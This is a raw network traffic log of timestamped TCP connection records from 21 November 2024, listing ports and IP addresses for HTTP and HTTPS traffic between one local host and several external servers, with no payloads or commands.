Nov 21, 2024 19:58:22.393266916 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.393433094 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.393482924 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.394062042 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.394124031 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.394179106 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.394248962 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.394848108 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.394906998 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.394906998 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.394953966 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.395473003 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.395528078 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.395608902 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.395658016 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.396272898 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.396332026 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.396389008 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.396436930 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.397089005 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.397141933 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.397221088 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.397269011 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.397943020 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.397991896 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.398030043 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.398077011 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.398755074 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.398802996 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.398869038 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.398916960 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.399574041 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.399621964 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.399651051 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.399694920 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.400414944 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.400489092 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.400522947 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.400568962 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.401248932 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.401294947 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.401407957 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.401452065 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.402261019 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.402319908 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.402343988 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.402393103 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:22.402858973 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:22.402936935 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:23.859836102 CET	49705	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:23.859944105 CET	443	49705	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:23.860006094 CET	49706	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:23.860049009 CET	443	49706	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:23.860053062 CET	49705	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:23.860109091 CET	49706	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:23.860312939 CET	49707	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:23.860333920 CET	443	49707	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:23.860415936 CET	49707	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:23.862041950 CET	49705	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:23.862075090 CET	443	49705	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:23.862387896 CET	49706	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:23.862401009 CET	443	49706	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:23.862534046 CET	49707	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:23.862555027 CET	443	49707	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:23.911041021 CET	49711	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:23.911117077 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:23.911242962 CET	49711	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:23.911456108 CET	49711	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:23.911488056 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:25.685776949 CET	443	49706	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:25.686151028 CET	49706	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:25.686182022 CET	443	49706	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:25.687459946 CET	443	49706	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:25.687534094 CET	49706	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:25.688652992 CET	49706	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:25.688721895 CET	443	49706	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:25.688884974 CET	49706	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:25.717895985 CET	443	49707	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:25.718203068 CET	49707	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:25.718260050 CET	443	49707	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:25.719764948 CET	443	49707	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:25.719842911 CET	49707	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:25.720149994 CET	49707	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:25.720244884 CET	443	49707	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:25.720326900 CET	49707	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:25.720350027 CET	443	49707	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:25.735330105 CET	443	49706	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:25.740502119 CET	49706	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:25.740524054 CET	443	49706	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:25.771872044 CET	49707	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:25.787394047 CET	49706	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:25.804511070 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:25.804898977 CET	443	49705	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:25.811456919 CET	49711	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:25.811482906 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:25.811647892 CET	49705	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:25.811685085 CET	443	49705	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:25.812743902 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:25.812803030 CET	49711	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:25.813451052 CET	443	49705	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:25.813510895 CET	49705	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:25.822309017 CET	49711	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:25.822436094 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:25.823187113 CET	49705	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:25.823339939 CET	443	49705	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:25.824312925 CET	49711	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:25.824335098 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:25.824580908 CET	49705	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:25.824618101 CET	443	49705	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:25.865506887 CET	49711	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:25.865562916 CET	49705	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:25.931684971 CET	49707	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:25.932698011 CET	443	49707	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:25.932770967 CET	49707	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:26.100914955 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:26.101021051 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:26.513303041 CET	443	49706	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:26.513498068 CET	443	49706	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:26.513551950 CET	49706	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:26.519290924 CET	49706	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:26.519299030 CET	443	49706	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:26.655867100 CET	443	49705	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:26.655997038 CET	443	49705	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:26.656058073 CET	49705	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:26.675632000 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:26.675770044 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:26.675796032 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:26.675822973 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:26.675829887 CET	49711	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:26.675867081 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:26.675884962 CET	49711	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:26.683657885 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:26.683706045 CET	49711	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:26.683737993 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:26.690846920 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:26.690900087 CET	49711	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:26.690937996 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:26.691361904 CET	49705	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:26.691406965 CET	443	49705	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:26.706902981 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:26.706940889 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:26.706990957 CET	49711	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:26.707022905 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:26.707091093 CET	49711	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:26.862252951 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:26.886111021 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:26.887129068 CET	49711	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:26.887165070 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:26.889564991 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:26.889669895 CET	49711	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:26.889692068 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:26.902986050 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:26.903044939 CET	49711	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:26.903079987 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:26.911102057 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:26.912283897 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:26.912353039 CET	49711	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:26.912383080 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:26.912725925 CET	49711	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:26.916699886 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:26.928760052 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:26.928837061 CET	49711	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:26.928867102 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:26.939956903 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:26.940015078 CET	49711	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:26.940052032 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:26.953556061 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:26.953608990 CET	49711	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:26.953640938 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:26.981863022 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:26.981910944 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:26.981966972 CET	49711	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:26.982000113 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:26.982430935 CET	49711	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:26.985876083 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.008085966 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.008147955 CET	49711	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:27.008187056 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.053399086 CET	49711	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:27.072472095 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.076718092 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.076776028 CET	49711	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:27.076808929 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.096973896 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.097008944 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.097062111 CET	49711	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:27.097095966 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.097316027 CET	49711	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:27.099762917 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.105376005 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.105875969 CET	49711	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:27.105909109 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.110929012 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.110990047 CET	49711	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:27.111008883 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.116338015 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.116405010 CET	49711	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:27.116425037 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.122195959 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.122225046 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.122282028 CET	49711	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:27.122298956 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.122864008 CET	49711	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:27.122879028 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.128129959 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.128190994 CET	49711	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:27.128206015 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.131710052 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.131865978 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.131922007 CET	49711	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:27.131937027 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.133872986 CET	49711	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:27.139765978 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.149312973 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.149348974 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.149415970 CET	49711	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:27.149436951 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.149863958 CET	49711	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:27.158574104 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.168066025 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.168179035 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.168247938 CET	49711	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:27.168288946 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.169878006 CET	49711	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:27.193475008 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.195310116 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.195384026 CET	49711	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:27.195414066 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.198709011 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.198824883 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.198890924 CET	49711	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:27.198914051 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.201880932 CET	49711	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:27.205254078 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.215734959 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.215800047 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.215828896 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.215857029 CET	49711	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:27.215883970 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.215902090 CET	49711	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:27.223099947 CET	49715	443	192.168.2.8	4.245.163.56
Nov 21, 2024 19:58:27.223129988 CET	443	49715	4.245.163.56	192.168.2.8
Nov 21, 2024 19:58:27.223222017 CET	49715	443	192.168.2.8	4.245.163.56
Nov 21, 2024 19:58:27.224756002 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.225044012 CET	49715	443	192.168.2.8	4.245.163.56
Nov 21, 2024 19:58:27.225058079 CET	443	49715	4.245.163.56	192.168.2.8
Nov 21, 2024 19:58:27.225073099 CET	49711	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:27.225100040 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.236867905 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.237883091 CET	49711	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:27.237909079 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.239841938 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.239897013 CET	49711	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:27.239914894 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.282887936 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.284728050 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.284799099 CET	49711	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:27.284830093 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.285880089 CET	49711	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:27.285897970 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.306798935 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.308219910 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.308254957 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.308296919 CET	49711	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:27.308331013 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.308358908 CET	49711	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:27.313632011 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.313677073 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.313745975 CET	49711	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:27.313774109 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.313868046 CET	49711	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:27.316373110 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.319130898 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.321332932 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.321367025 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.321398973 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.321400881 CET	49711	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:27.321434975 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.321449995 CET	49711	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:27.321471930 CET	49711	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:27.321479082 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.323460102 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.323546886 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.323627949 CET	49711	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:27.323771954 CET	49711	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:27.323791027 CET	443	49711	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.960637093 CET	49721	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:27.960675955 CET	443	49721	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:27.960788965 CET	49721	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:27.961076975 CET	49721	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:27.961091042 CET	443	49721	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:28.527940989 CET	49722	443	192.168.2.8	23.218.208.109
Nov 21, 2024 19:58:28.527977943 CET	443	49722	23.218.208.109	192.168.2.8
Nov 21, 2024 19:58:28.528187037 CET	49722	443	192.168.2.8	23.218.208.109
Nov 21, 2024 19:58:28.529515982 CET	49722	443	192.168.2.8	23.218.208.109
Nov 21, 2024 19:58:28.529534101 CET	443	49722	23.218.208.109	192.168.2.8
Nov 21, 2024 19:58:29.102168083 CET	443	49715	4.245.163.56	192.168.2.8
Nov 21, 2024 19:58:29.102297068 CET	49715	443	192.168.2.8	4.245.163.56
Nov 21, 2024 19:58:29.132039070 CET	49715	443	192.168.2.8	4.245.163.56
Nov 21, 2024 19:58:29.132069111 CET	443	49715	4.245.163.56	192.168.2.8
Nov 21, 2024 19:58:29.132431984 CET	443	49715	4.245.163.56	192.168.2.8
Nov 21, 2024 19:58:29.177624941 CET	49715	443	192.168.2.8	4.245.163.56
Nov 21, 2024 19:58:29.560065985 CET	49704	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:29.560467958 CET	49726	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:29.682884932 CET	80	49704	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:29.683147907 CET	80	49726	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:29.683270931 CET	49726	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:29.683473110 CET	49726	80	192.168.2.8	185.215.113.206
Nov 21, 2024 19:58:29.727535009 CET	443	49721	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:29.727919102 CET	49721	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:29.727929115 CET	443	49721	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:29.728280067 CET	443	49721	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:29.728678942 CET	49721	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:29.728739023 CET	443	49721	142.250.181.100	192.168.2.8
Nov 21, 2024 19:58:29.774342060 CET	49721	443	192.168.2.8	142.250.181.100
Nov 21, 2024 19:58:29.807734966 CET	80	49726	185.215.113.206	192.168.2.8
Nov 21, 2024 19:58:29.971522093 CET	443	49722	23.218.208.109	192.168.2.8
Nov 21, 2024 19:58:29.971602917 CET	49722	443	192.168.2.8	23.218.208.109
Nov 21, 2024 19:58:29.974509954 CET	49722	443	192.168.2.8	23.218.208.109
Nov 21, 2024 19:58:29.974518061 CET	443	49722	23.218.208.109	192.168.2.8
Nov 21, 2024 19:58:29.974916935 CET	443	49722	23.218.208.109	192.168.2.8
Nov 21, 2024 19:58:30.014517069 CET	49722	443	192.168.2.8	23.218.208.109
Nov 21, 2024 19:58:30.055351973 CET	443	49722	23.218.208.109	192.168.2.8
Nov 21, 2024 19:58:30.493757010 CET	443	49722	23.218.208.109	192.168.2.8
Nov 21, 2024 19:58:30.493828058 CET	443	49722	23.218.208.109	192.168.2.8
Nov 21, 2024 19:58:30.493902922 CET	49722	443	192.168.2.8	23.218.208.109
Nov 21, 2024 19:58:30.494070053 CET	49722	443	192.168.2.8	23.218.208.109
Nov 21, 2024 19:58:30.494086027 CET	443	49722	23.218.208.109	192.168.2.8
Nov 21, 2024 19:58:30.527793884 CET	49727	443	192.168.2.8	23.218.208.109
Nov 21, 2024 19:58:30.527829885 CET	443	49727	23.218.208.109	192.168.2.8
Nov 21, 2024 19:58:30.528037071 CET	49727	443	192.168.2.8	23.218.208.109
Nov 21, 2024 19:58:30.528961897 CET	49727	443	192.168.2.8	23.218.208.109
Nov 21, 2024 19:58:30.528973103 CET	443	49727	23.218.208.109	192.168.2.8
Nov 21, 2024 19:58:30.938033104 CET	49715	443	192.168.2.8	4.245.163.56
Nov 21, 2024 19:58:30.979337931 CET	443	49715	4.245.163.56	192.168.2.8
Nov 21, 2024 19:58:30.997987986 CET	49729	443	192.168.2.8	172.217.17.78
Nov 21, 2024 19:58:30.998028040 CET	443	49729	172.217.17.78	192.168.2.8
Nov 21, 2024 19:58:30.998172045 CET	49729	443	192.168.2.8	172.217.17.78
Nov 21, 2024 19:58:30.998410940 CET	49729	443	192.168.2.8	172.217.17.78
Nov 21, 2024 19:58:30.998419046 CET	443	49729	172.217.17.78	192.168.2.8
